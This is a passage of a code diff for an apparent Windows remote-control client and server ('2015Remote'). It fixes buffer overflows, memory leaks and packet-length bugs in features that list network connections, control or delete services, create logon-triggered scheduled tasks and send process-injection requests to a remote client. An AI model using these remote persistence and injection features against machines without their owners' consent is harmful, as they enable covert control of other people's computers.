strType = _T("[UDP]"); const char* szRemoteAddr = _T("*.*.*.*:*"); const char* szUDPState = _T(" "); - lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName)); + ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, strProcessName, sizeof(strProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) * sizeof(char) + 12; - if (LocalSize(lpBuffer) < (dwOffset + dwLength)) - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew == NULL) + break; // 扩容失败时保留原缓冲区,已收集的记录照常返回 + lpBuffer = lpNew; + } memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; @@ -1662,26 +1872,42 @@ LPBYTE CMachineManager::getNetStateList() memcpy(lpBuffer + dwOffset, szUDPState, lstrlen(szUDPState) * sizeof(char) + 2); dwOffset += lstrlen(szUDPState) * sizeof(char) + 2; } + + if (pUdpExTable) + ::HeapFree(GetProcessHeap(), 0, pUdpExTable); } + + // Vista 分支的资源必须在这里释放:每次刷新网络列表都会走到这里 + ::CloseHandle(hProcessSnap); + if (pTcpTable_Vista) + ::HeapFree(GetProcessHeap(), 0, pTcpTable_Vista); + ::FreeLibrary(hModule); } - lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + { + LPBYTE lpNew = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew != NULL) + lpBuffer = lpNew; + } return lpBuffer; } // 将进程ID号(PID)转化为进程名称 -char* CMachineManager::ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName) +char* CMachineManager::ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName, int nSize) { PROCESSENTRY32 processEntry; processEntry.dwSize = sizeof(processEntry); + if (ProcessName == NULL || nSize <= 0) + return ProcessName; // 找不到的话,默认进程名为“???” - lstrcpy(ProcessName, _T("???")); + lstrcpyn(ProcessName, _T("???"), nSize); if (!::Process32First(hProcessSnap, &processEntry)) return ProcessName; do { if (processEntry.th32ProcessID == ProcessId) { // 就是这个进程 - lstrcpy(ProcessName, processEntry.szExeFile); + // szExeFile 最长 MAX_PATH,目标缓冲区可能只有 100 字节,必须限长拷贝 + lstrcpyn(ProcessName, processEntry.szExeFile, nSize); break; } } while (::Process32Next(hProcessSnap, &processEntry)); @@ -1712,18 +1938,21 @@ BOOL CMachineManager::EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable) void CMachineManager::DeleteService(LPBYTE lpBuffer, UINT nSize) { EnablePrivilege(SE_DEBUG_NAME, TRUE); - SERVICE_STATUS status; - SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); - SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); - - DWORD _err = GetLastError(); - BOOL isSuccess = QueryServiceStatus(service, &status); - if (status.dwCurrentState != SERVICE_STOPPED) { - isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); + SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (scm == NULL) { + EnablePrivilege(SE_DEBUG_NAME, FALSE); + return; + } + SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); + if (service != NULL) { + SERVICE_STATUS status = { 0 }; + if (QueryServiceStatus(service, &status) && status.dwCurrentState != SERVICE_STOPPED) { + ControlService(service, SERVICE_CONTROL_STOP, &status); + } + ::DeleteService(service); + CloseServiceHandle(service); } - isSuccess = ::DeleteService(service); - CloseServiceHandle(service); CloseServiceHandle(scm); // 稍稍Sleep下,防止出错 @@ -1736,25 +1965,55 @@ void CMachineManager::DeleteService(LPBYTE lpBuffer, UINT nSize) void CMachineManager::MyControlService(LPBYTE lpBuffer, UINT nType) { EnablePrivilege(SE_DEBUG_NAME, TRUE); - SERVICE_STATUS status; - SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); // 打开服务管理对象 + SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); // 打开服务管理对象 + if (scm == NULL) { + EnablePrivilege(SE_DEBUG_NAME, FALSE); + return; + } - SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); // 打开www服务 + SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); // 打开服务 + if (service == NULL) { + CloseServiceHandle(scm); + SendServicesList(m_dwServiceType); + EnablePrivilege(SE_DEBUG_NAME, FALSE); + return; + } + SERVICE_STATUS status = { 0 }; BOOL isSuccess = QueryServiceStatus(service, &status); switch (nType) { - case 0: + case 0: { + if (status.dwCurrentState == SERVICE_STOP_PENDING) { + // 服务端“重启服务”是 STOP 后 100ms 就发 START:这里等服务真正停下来, + // 否则 StartService 会以服务仍在停止中失败,表现为“重启后服务没起来”。 + for (int i = 0; i < 50 && status.dwCurrentState == SERVICE_STOP_PENDING; i++) { + Sleep(100); + if (!QueryServiceStatus(service, &status)) + break; + } + } if (status.dwCurrentState == SERVICE_STOPPED) { //服务停止状态 就启动服务 isSuccess = StartService(service, NULL, NULL); } break; - case 1: + } + case 1: { if (status.dwCurrentState != SERVICE_STOPPED) { - isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); + if (status.dwCurrentState != SERVICE_STOP_PENDING) + isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); + // 同步等待停止完成(最多 5 秒),让紧随其后的 START 能成功 + if (isSuccess || status.dwCurrentState == SERVICE_STOP_PENDING) { + for (int i = 0; i < 50 && status.dwCurrentState != SERVICE_STOPPED; i++) { + Sleep(100); + if (!QueryServiceStatus(service, &status)) + break; + } + } } break; + } case 2: if (status.dwCurrentState == SERVICE_RUNNING) { isSuccess = ControlService(service, SERVICE_CONTROL_PAUSE, &status); @@ -1817,7 +2076,10 @@ PBYTE CMachineManager::GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset pRegisteredTask->get_Definition(&pDefinition); if (pDefinition) { + // GetProgramPath 内部会 Release 传入的 ITaskDefinition(接管所有权), + // 这里不能再释放一次,否则是双重 Release,枚举任务时客户端直接崩溃。 GetProgramPath(pDefinition, &exepath); + pDefinition = NULL; } switch (taskState) { @@ -1870,6 +2132,7 @@ PBYTE CMachineManager::GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offs //获取文件夹个数 hr = pFolders->get_Count(&Count); if (FAILED(hr)) { + pFolders->Release(); return 0; } @@ -1889,6 +2152,7 @@ PBYTE CMachineManager::GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offs continue; } GetFolderAll(ispFolder, data, offset); + ispFolder->Release(); } pFolders->Release(); @@ -1948,7 +2212,27 @@ PBYTE CMachineManager::GetRoot() lpList[0] = TOKEN_MACHINE_TASKLIST; int offset = 1; GetFolderAll(pRootFolder, lpList, offset); - Send((LPBYTE)lpList, (UINT)LocalSize(lpList)); + + // 只发实际数据,不要把 32KB 预分配缓冲区整个发出去。 + // 服务端解析靠每条记录末尾的两个 NUL 判断结束,所以非空列表要多带 2 字节结束标记; + // 没有任务时只发令牌 1 字节(长度为 1 时服务端循环直接结束)。 + UINT dwSend = 1; + if (offset > 1) { + dwSend = (UINT)(offset + 2); + if ((UINT)LocalSize(lpList) < dwSend) { + PBYTE lpNew = (PBYTE)LocalReAlloc(lpList, dwSend, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (lpNew != NULL) + lpList = lpNew; + } + if ((UINT)LocalSize(lpList) >= dwSend) { + lpList[offset] = 0; + lpList[offset + 1] = 0; + } else { + // 扩不出结束标记时只回令牌,避免服务端越界读 + dwSend = 1; + } + } + Send((LPBYTE)lpList, dwSend); LocalFree(lpList); } pRootFolder->Release(); @@ -2012,15 +2296,18 @@ BOOL CMachineManager::CreateTask(LPBYTE lpBuffer) //设置被结束后自动延迟10分钟运行 pSettings->put_StartWhenAvailable(VARIANT_TRUE); //创建触发器 - ITrigger* pTrigger; + ITrigger* pTrigger = NULL; hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger); - IAction* pAction; + IAction* pAction = NULL; //设置执行 pActions->Create(TASK_ACTION_EXEC, &pAction); - pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); - //设置程序路径等信息 - pExecAction->put_Path(CharToBSTR(path)); + if (pAction) { + pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); + //设置程序路径等信息 + if (pExecAction) + pExecAction->put_Path(CharToBSTR(path)); + } //注册 hr = pRootFolder->RegisterTaskDefinition(CharToBSTR(taskname), pDefinition, TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pRegisteredTask); @@ -2141,10 +2428,13 @@ void CMachineManager::SaveData(const std::string& taskname, const std::string& p sum = nameLEN + taskpathLEN + statusLEN + exeLEN + sizeof(DATE) * 2; // 动态扩展缓冲区 if (LocalSize(lpList) < (offset + sum)) { - lpList = (BYTE*)LocalReAlloc(lpList, LocalSize(lpList)+4*1024, LMEM_ZEROINIT | LMEM_MOVEABLE); - if (!lpList) { + int nNewSize = (int)LocalSize(lpList) + (int)sum + 4 * 1024; + PBYTE lpNew = (BYTE*)LocalReAlloc(lpList, nNewSize, LMEM_ZEROINIT | LMEM_MOVEABLE); + // 分配失败时保留原缓冲区:lpList 是引用,绝不能把它改成 NULL, + // 否则调用方手里的缓冲区指针会丢失,后续写入就变成空指针写 + if (!lpNew) return; - } + lpList = lpNew; } //拷贝数据 diff --git a/client/MachineManager.h b/client/MachineManager.h index 801830d..13e66ba 100644 --- a/client/MachineManager.h +++ b/client/MachineManager.h @@ -34,7 +34,7 @@ private: HWND GetHwndByPid(DWORD dwProcessID); bool Is64BitOS(); bool Is64BitPorcess(DWORD dwProcessID); - char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName); + char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName, int nSize); BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable); void DeleteService(LPBYTE lpBuffer, UINT nSize); void MyControlService(LPBYTE lpBuffer, UINT nType); diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index 310c780..0418db4 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -721,8 +721,19 @@ void CMachineDlg::ShowTaskList() continue; m_list.InsertItem(i, str); + // 目录列:只去掉末尾“\任务名”。不能用 Replace 全量替换——任务名也可能出现在父目录里, + // 那样算出的目录是错的,执行/停止/删除任务会定位到错误的文件夹。 str = taskpath; - str.Replace(taskname, _T("")); + { + CString tail = _T("\\"); + tail += taskname; + if (str.GetLength() >= tail.GetLength() && + str.Right(tail.GetLength()).CompareNoCase(tail) == 0) { + str = str.Left(str.GetLength() - tail.GetLength()); + if (str.IsEmpty()) + str = _T("\\"); + } + } // 任务名/目录/程序路径来自客户端 BSTRToUTF8,为 UTF-8;状态为 GBK 字面量(运行中/已禁用…) SetMachineItemText(m_list, i, 1, str.GetString(), CP_UTF8); SetMachineItemText(m_list, i, 2, taskname, CP_UTF8); @@ -1006,7 +1017,8 @@ void CMachineDlg::ShowProcessList_menu() p_InjectData->dwProcessID = dwProcessID; CString strexeis86 = m_list.GetItemText(nItem, 9); strexeis86 == _T("x86") ? p_InjectData->ExeIsx86 = 1 : p_InjectData->ExeIsx86 = 0; - memcpy(p_InjectData->strpath, dlg.Str_remote, dlg.Str_remote.GetLength() * 2 + 2); + // Str_remote 是窄字符串、strpath 是 char[1024]:按字符数+1 拷贝;超长时截断,避免堆溢出 + strncpy_s(p_InjectData->strpath, sizeof(p_InjectData->strpath), dlg.Str_remote, _TRUNCATE); //读取文件 BYTE* lpBuffer = NULL; HANDLE hFile = CreateFile(dlg.Str_loacal, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); @@ -1412,16 +1424,18 @@ void CMachineDlg::ShowTaskList_menu() taskpath = m_list.GetItemText(nItem, 1); taskname = m_list.GetItemText(nItem, 2); - int nPacketLength = lstrlen(taskpath.GetBuffer()) * 2 + lstrlen(taskname.GetBuffer()) * 2 + 5; + // 服务端是 MultiByte 工程:按窄字符拼接,包长 = 1(令牌) + (目录+1) + (任务名+1) + int nPacketLength = lstrlen(taskpath.GetBuffer()) + lstrlen(taskname.GetBuffer()) + 3; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + if (!lpBuffer) return; lpBuffer[0] = COMMAND_TASKSTART; offset++; - memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) * 2 + 2); - offset += lstrlen(taskpath.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) + 1); + offset += lstrlen(taskpath.GetBuffer()) + 1; - memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); - offset += lstrlen(taskname.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) + 1); + offset += lstrlen(taskname.GetBuffer()) + 1; m_ContextObject->Send2Client(lpBuffer, nPacketLength); @@ -1440,16 +1454,18 @@ void CMachineDlg::ShowTaskList_menu() taskpath = m_list.GetItemText(nItem, 1); taskname = m_list.GetItemText(nItem, 2); - int nPacketLength = lstrlen(taskpath.GetBuffer()) * 2 + lstrlen(taskname.GetBuffer()) * 2 + 5; + // 服务端是 MultiByte 工程:按窄字符拼接,包长 = 1(令牌) + (目录+1) + (任务名+1) + int nPacketLength = lstrlen(taskpath.GetBuffer()) + lstrlen(taskname.GetBuffer()) + 3; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + if (!lpBuffer) return; lpBuffer[0] = COMMAND_TASKSTOP; offset++; - memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) * 2 + 2); - offset += lstrlen(taskpath.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) + 1); + offset += lstrlen(taskpath.GetBuffer()) + 1; - memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); - offset += lstrlen(taskname.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) + 1); + offset += lstrlen(taskname.GetBuffer()) + 1; m_ContextObject->Send2Client(lpBuffer, nPacketLength); @@ -1468,16 +1484,18 @@ void CMachineDlg::ShowTaskList_menu() taskpath = m_list.GetItemText(nItem, 1); taskname = m_list.GetItemText(nItem, 2); - int nPacketLength = lstrlen(taskpath.GetBuffer()) * 2 + lstrlen(taskname.GetBuffer()) * 2 + 5; + // 服务端是 MultiByte 工程:按窄字符拼接,包长 = 1(令牌) + (目录+1) + (任务名+1) + int nPacketLength = lstrlen(taskpath.GetBuffer()) + lstrlen(taskname.GetBuffer()) + 3; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + if (!lpBuffer) return; lpBuffer[0] = COMMAND_TASKDEL; offset++; - memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) * 2 + 2); - offset += lstrlen(taskpath.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) + 1); + offset += lstrlen(taskpath.GetBuffer()) + 1; - memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); - offset += lstrlen(taskname.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) + 1); + offset += lstrlen(taskname.GetBuffer()) + 1; m_ContextObject->Send2Client(lpBuffer, nPacketLength); @@ -1489,28 +1507,28 @@ void CMachineDlg::ShowTaskList_menu() DWORD offset = 0; CCreateTaskDlg* dlg = new CCreateTaskDlg(this); if (IDOK == dlg->DoModal()) { - // 计算字符串长度 - len = lstrlen(dlg->m_TaskPath.GetBuffer()) * 2 + lstrlen(dlg->m_TaskNames.GetBuffer()) * 2 + lstrlen(dlg->m_ExePath.GetBuffer()) * - 2 + lstrlen(dlg->m_Author.GetBuffer()) * 2 + lstrlen(dlg->m_Description.GetBuffer()) * 2 + 12; + // 服务端是 MultiByte 工程:5 个窄字符串各带 1 字节结束符,再加 1 字节令牌 + len = lstrlen(dlg->m_TaskPath.GetBuffer()) + lstrlen(dlg->m_TaskNames.GetBuffer()) + lstrlen(dlg->m_ExePath.GetBuffer()) + + lstrlen(dlg->m_Author.GetBuffer()) + lstrlen(dlg->m_Description.GetBuffer()) + 6; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, len); if (lpBuffer) { lpBuffer[0] = COMMAND_TASKCREAT; offset++; - memcpy(lpBuffer + offset, dlg->m_TaskPath.GetBuffer(), lstrlen(dlg->m_TaskPath.GetBuffer()) * 2 + 2); - offset += lstrlen(dlg->m_TaskPath.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, dlg->m_TaskPath.GetBuffer(), lstrlen(dlg->m_TaskPath.GetBuffer()) + 1); + offset += lstrlen(dlg->m_TaskPath.GetBuffer()) + 1; - memcpy(lpBuffer + offset, dlg->m_TaskNames.GetBuffer(), lstrlen(dlg->m_TaskNames.GetBuffer()) * 2 + 2); - offset += lstrlen(dlg->m_TaskNames.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, dlg->m_TaskNames.GetBuffer(), lstrlen(dlg->m_TaskNames.GetBuffer()) + 1); + offset += lstrlen(dlg->m_TaskNames.GetBuffer()) + 1; - memcpy(lpBuffer + offset, dlg->m_ExePath.GetBuffer(), lstrlen(dlg->m_ExePath.GetBuffer()) * 2 + 2); - offset += lstrlen(dlg->m_ExePath.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, dlg->m_ExePath.GetBuffer(), lstrlen(dlg->m_ExePath.GetBuffer()) + 1); + offset += lstrlen(dlg->m_ExePath.GetBuffer()) + 1; - memcpy(lpBuffer + offset, dlg->m_Author.GetBuffer(), lstrlen(dlg->m_Author.GetBuffer()) * 2 + 2); - offset += lstrlen(dlg->m_Author.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, dlg->m_Author.GetBuffer(), lstrlen(dlg->m_Author.GetBuffer()) + 1); + offset += lstrlen(dlg->m_Author.GetBuffer()) + 1; - memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2); - offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2; + memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) + 1); + offset += lstrlen(dlg->m_Description.GetBuffer()) + 1; m_ContextObject->Send2Client(lpBuffer, len); LocalFree(lpBuffer);